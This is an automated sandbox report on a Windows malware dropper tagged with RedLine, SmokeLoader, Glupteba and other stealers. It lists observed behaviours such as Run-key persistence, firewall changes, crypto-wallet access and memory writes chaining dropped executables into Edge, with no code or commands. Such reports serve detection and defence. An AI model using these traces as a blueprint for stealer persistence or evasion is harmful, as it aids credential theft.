Malware Analysis Report

2024-12-08 01:25

Sample ID 231111-mwnq1sdh4s
Target 72f29919f78f53956692e212fe8bbff32e153e88a93ec3aa72576e5b440a2f85
SHA256 72f29919f78f53956692e212fe8bbff32e153e88a93ec3aa72576e5b440a2f85
Tags
glupteba mystic redline sectoprat smokeloader zgrat pixelnew2.0 taiga up3 backdoor paypal dropper evasion infostealer loader persistence phishing rat spyware stealer trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

72f29919f78f53956692e212fe8bbff32e153e88a93ec3aa72576e5b440a2f85

Threat Level: Known bad

The file 72f29919f78f53956692e212fe8bbff32e153e88a93ec3aa72576e5b440a2f85 was found to be: Known bad.

Malicious Activity Summary

glupteba mystic redline sectoprat smokeloader zgrat pixelnew2.0 taiga up3 backdoor paypal dropper evasion infostealer loader persistence phishing rat spyware stealer trojan

Glupteba

Detect Mystic stealer payload

Detect ZGRat V1

RedLine payload

SectopRAT payload

ZGRat

SmokeLoader

Glupteba payload

Mystic

RedLine

SectopRAT

Modifies Windows Firewall

Stops running service(s)

Downloads MZ/PE file

Checks computer location settings

Loads dropped DLL

Executes dropped EXE

Adds Run key to start application

Accesses cryptocurrency files/wallets, possible credential harvesting

AutoIT Executable

Suspicious use of SetThreadContext

Detected potential entity reuse from brand paypal.

Launches sc.exe

Enumerates physical storage devices

Unsigned PE

Program crash

Checks SCSI registry key(s)

Uses Task Scheduler COM API

Enumerates system info in registry

Suspicious behavior: EnumeratesProcesses

Suspicious behavior: MapViewOfSection

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary

Suspicious use of WriteProcessMemory

Suspicious use of SendNotifyMessage

Suspicious use of AdjustPrivilegeToken

Suspicious use of FindShellTrayWindow

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-11-11 10:49

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2023-11-11 10:49

Reported

2023-11-11 10:51

Platform

win10v2004-20231023-en

Max time kernel

90s

Max time network

160s

Command Line

"C:\Users\Admin\AppData\Local\Temp\72f29919f78f53956692e212fe8bbff32e153e88a93ec3aa72576e5b440a2f85.exe"

Signatures

Detect Mystic stealer payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Detect ZGRat V1

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Glupteba

loader dropper glupteba

Glupteba payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Mystic

stealer mystic

RedLine

infostealer redline

RedLine payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

SectopRAT

trojan rat sectoprat

SectopRAT payload

Description Indicator Process Target
N/A N/A N/A N/A

SmokeLoader

trojan backdoor smokeloader

ZGRat

rat zgrat

Downloads MZ/PE file

Modifies Windows Firewall

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\netsh.exe N/A

Stops running service(s)

evasion

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2231940048-779848787-2990559741-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\6605.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\3BA8.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\3BA8.exe N/A

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\72f29919f78f53956692e212fe8bbff32e153e88a93ec3aa72576e5b440a2f85.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\ZB4HP83.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\VK1NC47.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP003.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\yw7Wn20.exe N/A

AutoIT Executable

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Detected potential entity reuse from brand paypal.

phishing paypal

Launches sc.exe

Description Indicator Process Target
N/A N/A C:\Windows\System32\sc.exe N/A
N/A N/A C:\Windows\System32\sc.exe N/A
N/A N/A C:\Windows\System32\sc.exe N/A
N/A N/A C:\Windows\System32\sc.exe N/A
N/A N/A C:\Windows\System32\sc.exe N/A

Enumerates physical storage devices

Checks SCSI registry key(s)

Description Indicator Process Target
Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\7bK63Hk.exe N/A
Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\7bK63Hk.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\7bK63Hk.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\7bK63Hk.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\7bK63Hk.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\7bK63Hk.exe N/A

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\3D4E.exe N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\6933.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\6BA5.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1vp35Ok1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1vp35Ok1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1vp35Ok1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1vp35Ok1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1vp35Ok1.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1vp35Ok1.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1vp35Ok1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1vp35Ok1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1vp35Ok1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1vp35Ok1.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1vp35Ok1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1vp35Ok1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1vp35Ok1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1vp35Ok1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1vp35Ok1.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1vp35Ok1.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1vp35Ok1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1vp35Ok1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1vp35Ok1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1vp35Ok1.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4520 wrote to memory of 1332 N/A C:\Users\Admin\AppData\Local\Temp\72f29919f78f53956692e212fe8bbff32e153e88a93ec3aa72576e5b440a2f85.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\ZB4HP83.exe
PID 4520 wrote to memory of 1332 N/A C:\Users\Admin\AppData\Local\Temp\72f29919f78f53956692e212fe8bbff32e153e88a93ec3aa72576e5b440a2f85.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\ZB4HP83.exe
PID 4520 wrote to memory of 1332 N/A C:\Users\Admin\AppData\Local\Temp\72f29919f78f53956692e212fe8bbff32e153e88a93ec3aa72576e5b440a2f85.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\ZB4HP83.exe
PID 1332 wrote to memory of 3012 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\ZB4HP83.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\VK1NC47.exe
PID 1332 wrote to memory of 3012 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\ZB4HP83.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\VK1NC47.exe
PID 1332 wrote to memory of 3012 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\ZB4HP83.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\VK1NC47.exe
PID 3012 wrote to memory of 2072 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\VK1NC47.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\yw7Wn20.exe
PID 3012 wrote to memory of 2072 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\VK1NC47.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\yw7Wn20.exe
PID 3012 wrote to memory of 2072 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\VK1NC47.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\yw7Wn20.exe
PID 2072 wrote to memory of 3832 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\yw7Wn20.exe C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1vp35Ok1.exe
PID 2072 wrote to memory of 3832 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\yw7Wn20.exe C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1vp35Ok1.exe
PID 2072 wrote to memory of 3832 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\yw7Wn20.exe C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1vp35Ok1.exe
PID 3832 wrote to memory of 3952 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1vp35Ok1.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3832 wrote to memory of 3952 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1vp35Ok1.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3952 wrote to memory of 4524 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3952 wrote to memory of 4524 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3832 wrote to memory of 4092 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1vp35Ok1.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3832 wrote to memory of 4092 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1vp35Ok1.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4092 wrote to memory of 5096 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4092 wrote to memory of 5096 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3832 wrote to memory of 1728 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1vp35Ok1.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3832 wrote to memory of 1728 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1vp35Ok1.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1728 wrote to memory of 2296 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1728 wrote to memory of 2296 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3832 wrote to memory of 3380 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1vp35Ok1.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3832 wrote to memory of 3380 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1vp35Ok1.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3380 wrote to memory of 2944 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3380 wrote to memory of 2944 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3832 wrote to memory of 4764 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1vp35Ok1.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3832 wrote to memory of 4764 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1vp35Ok1.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4764 wrote to memory of 3708 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4764 wrote to memory of 3708 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4092 wrote to memory of 1508 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4092 wrote to memory of 1508 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4092 wrote to memory of 1508 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4092 wrote to memory of 1508 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4092 wrote to memory of 1508 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4092 wrote to memory of 1508 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4092 wrote to memory of 1508 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4092 wrote to memory of 1508 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4092 wrote to memory of 1508 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4092 wrote to memory of 1508 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4092 wrote to memory of 1508 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4092 wrote to memory of 1508 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4092 wrote to memory of 1508 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4092 wrote to memory of 1508 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4092 wrote to memory of 1508 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4092 wrote to memory of 1508 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4092 wrote to memory of 1508 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4092 wrote to memory of 1508 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4092 wrote to memory of 1508 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4092 wrote to memory of 1508 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4092 wrote to memory of 1508 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4092 wrote to memory of 1508 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4092 wrote to memory of 1508 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4092 wrote to memory of 1508 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4092 wrote to memory of 1508 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
